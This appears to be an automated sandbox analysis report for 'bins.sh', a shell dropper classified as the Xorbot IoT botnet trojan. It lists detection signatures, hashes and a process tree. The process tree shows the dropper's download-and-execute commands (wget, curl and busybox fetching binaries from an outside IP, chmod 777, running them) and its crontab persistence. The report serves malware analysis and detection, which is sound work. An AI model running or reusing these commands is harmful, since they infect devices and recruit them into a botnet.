Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/01/2025, 13:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ql79fstjfz
  • SHA256 ac9bab3ad183c99cfce29fa21be3e173974bbd1fa9dc894493eaa9c2208e8b7d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2031) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:730
        • /bin/rm
          rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /usr/bin/wget
          wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:733
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          ./VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:749
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:751
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:752
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:754
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:756
              • /bin/rm
                rm VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                2⤵
                  PID:766
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                  2⤵
                    PID:769
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                    2⤵
                      PID:772
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      2⤵
                      • Writes file to tmp directory
                      PID:775
                    • /bin/chmod
                      chmod 777 baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:862
                    • /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      ./baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      2⤵
                      • Executes dropped EXE
                      PID:867
                    • /bin/rm
                      rm baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      2⤵
                        PID:869
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                        2⤵
                          PID:871

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                            • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                            • Size 127KB
                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                            • Path /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                            • Path /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.rfvThh
                            • Path /var/spool/cron/crontabs/tmp.rfvThh
                            • Size 210B
                            • SHA256 4dac22466e182cd6c8835157de1c5b9fbf99f6eb58798c85cfea8d08f6cecaf1
                            • MD5 SHA1 SHA512
                            Submit Download